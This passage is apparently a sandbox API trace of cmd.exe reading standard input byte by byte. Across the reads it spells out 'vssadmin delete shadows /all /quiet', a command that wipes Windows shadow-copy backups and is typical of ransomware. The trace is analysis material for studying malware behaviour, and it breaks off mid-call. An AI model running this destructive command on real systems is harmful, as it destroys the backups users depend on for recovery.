lpNumberOfBytesWritten=0x20f7a8*=0x2, lpOverlapped=0x0) returned 1 [0037.363] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a84f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0037.363] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a85c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.363] _vsnwprintf (in: _Buffer=0x4a84eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x20f7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0037.363] _vsnwprintf (in: _Buffer=0x4a84ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x20f7e8 | out: _Buffer=">") returned 1 [0037.363] _get_osfhandle (_FileHandle=1) returned 0xf4 [0037.363] GetFileType (hFile=0xf4) returned 0x3 [0037.363] _get_osfhandle (_FileHandle=1) returned 0xf4 [0037.363] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a85c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0037.363] WriteFile (in: hFile=0xf4, lpBuffer=0x4a85c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x20f7d8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesWritten=0x20f7d8*=0x26, lpOverlapped=0x0) returned 1 [0037.363] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.363] GetFileType (hFile=0xe8) returned 0x3 [0037.363] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.363] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.363] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.363] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0037.363] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.363] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.363] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.363] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0037.363] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.364] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.364] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.364] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0037.364] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.364] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.364] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.364] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0037.364] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.364] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.364] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.364] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0037.364] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.364] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.364] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.364] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0037.364] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.364] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.364] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.364] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0037.364] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.364] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.365] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.365] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0037.365] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.365] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.365] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.365] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0037.365] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.365] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.365] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.365] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0037.365] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.365] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.365] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.365] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0037.365] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.365] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.365] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.365] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0037.365] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.365] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.365] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.365] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0037.365] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.366] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.366] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.366] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0037.366] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.366] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.366] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.366] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0037.366] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.366] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.366] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.366] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0037.366] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.366] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.366] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.366] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0037.366] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.366] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.366] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.366] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0037.366] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.366] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.366] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.366] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0037.367] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.367] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.367] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.367] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0037.367] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.367] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.367] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.367] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0037.367] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.367] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.367] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.367] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0037.367] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.367] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.367] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.367] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0037.367] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.367] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.367] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.367] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0037.367] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.367] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.367] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.367] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0037.367] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.368] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.368] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.368] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0037.368] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.368] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.368] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.368] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0037.368] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.368] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.368] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.368] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0037.368] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.368] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.368] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.368] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0037.368] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.368] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.368] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.368] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0037.368] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.368] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.368] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.368] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0037.368] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.368] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.369] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.369] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0037.369] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.369] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.369] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.369] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0037.369] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.369] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.369] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.369] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0037.369] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.369] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.369] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.369] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0037.369] _get_osfhandle (_FileHandle=0) returned 0xe8 [0037.369] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.369] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0037.369] MultiByteToWideChar (in: CodePage=0x4e3, 